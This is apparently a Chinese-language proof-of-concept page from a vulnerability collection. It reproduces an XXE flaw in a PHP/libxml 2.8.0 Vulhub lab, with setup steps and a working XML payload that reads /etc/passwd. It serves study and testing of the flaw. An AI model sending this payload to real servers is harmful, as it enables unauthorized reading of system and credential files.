Awesome-POC/开发语言漏洞/PHP 环境 XML外部实体注入漏洞(XXE).md
2024-11-06 14:10:36 +08:00

1.2 KiB
Raw Blame History

PHP 环境 XML 外部实体注入漏洞XXE

漏洞描述

libxml 2.9.0 以后,默认不解析外部实体,导致 XXE 漏洞逐渐消亡。为了演示 PHP 环境下的 XXE 漏洞,本例会将 libxml 2.8.0 版本编译进 PHP 中。PHP 版本并不影响 XXE 利用。

环境搭建

Vulhub 执行如下命令启动环境PHP 7.0.30libxml 2.8.0

docker compose up -d

环境启动后,访问 http://your-ip:8080/index.php 即可看到 phpinfo。

漏洞复现

Web 目录为 ./www,其中包含 4 个文件:

$ tree .
.
├── dom.php # 示例使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例使用simplexml_load_string函数解析body

dom.phpSimpleXMLElement.phpsimplexml_load_string.php 均可触发 XXE 漏洞,具体输出点请阅读这三个文件的代码。

Simple XXE Payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>